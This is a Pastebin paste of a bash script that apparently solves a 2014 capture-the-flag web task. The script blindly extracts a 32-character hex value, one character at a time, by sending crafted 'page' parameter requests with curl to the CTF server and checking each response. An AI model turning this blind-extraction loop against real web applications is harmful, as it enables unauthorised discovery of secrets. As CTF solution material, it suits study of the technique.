SHARE
TWEET

Untitled

a guest Jan 16th, 2014 146 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. pay="0"
  3. for p in {1..32};do
  4. echo $pay
  5. for i in {0..9};do
  6.         echo $i
  7.         tmp=$pay$i
  8.         aa=`curl --silent 'http://hackyou2014tasks.ctf.su:30080/index.php?page='$tmp'<<' | grep exists`
  9.         if [ "$aa" == "" ]; then
  10.                 pay=$pay$i
  11.                 break
  12.         fi
  13. done
  14. for i in {a..f};do
  15.         echo $i
  16.         tmp=$pay$i
  17.         aa=`curl --silent 'http://hackyou2014tasks.ctf.su:30080/index.php?page='$tmp'<<' | grep exists`
  18.         if [ "$aa" == "" ]; then
  19.                 pay=$pay$i
  20.                 break
  21.         fi
  22. done
  23. done
  24. echo $pay
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top